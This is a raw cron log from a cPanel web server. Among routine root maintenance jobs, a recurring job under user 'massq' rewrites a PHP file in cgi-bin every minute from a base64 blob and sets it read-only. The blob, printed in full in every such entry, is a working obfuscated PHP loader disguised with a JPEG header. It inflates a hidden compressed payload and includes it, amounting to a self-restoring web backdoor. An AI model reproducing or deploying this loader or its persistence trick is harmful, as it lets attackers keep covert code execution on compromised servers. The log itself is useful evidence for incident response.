Sep  3 19:29:01 server CROND[8660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:30:01 server CROND[9100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:30:01 server CROND[9103]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:30:01 server CROND[9105]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:30:01 server CROND[9107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:30:01 server CROND[9101]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:30:01 server CROND[9108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:30:01 server CROND[9104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:30:01 server CROND[9106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:31:01 server CROND[10000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:31:01 server CROND[10001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:31:01 server CROND[10002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:32:01 server CROND[10377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:32:01 server CROND[10378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:32:01 server CROND[10379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:33:01 server CROND[10780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:33:01 server CROND[10781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:33:01 server CROND[10782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:34:02 server CROND[11150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:34:02 server CROND[11149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:34:02 server CROND[11151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:35:01 server CROND[11598]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:35:01 server CROND[11599]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:35:01 server CROND[11600]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:35:01 server CROND[11608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:35:01 server CROND[11614]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 19:35:01 server CROND[11615]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 19:35:01 server CROND[11617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:35:01 server CROND[11613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:35:01 server CROND[11616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:36:01 server CROND[12499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:36:01 server CROND[12500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:36:01 server CROND[12501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:37:01 server CROND[12870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:37:01 server CROND[12869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:37:01 server CROND[12871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:38:01 server CROND[13239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:38:01 server CROND[13240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:38:01 server CROND[13241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:39:01 server CROND[13624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:39:01 server CROND[13623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:39:01 server CROND[13626]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 19:39:01 server CROND[13625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:40:01 server CROND[14031]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:40:01 server CROND[14033]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:40:01 server CROND[14036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:40:01 server CROND[14040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:40:01 server CROND[14039]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:40:01 server CROND[14037]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:40:01 server CROND[14042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
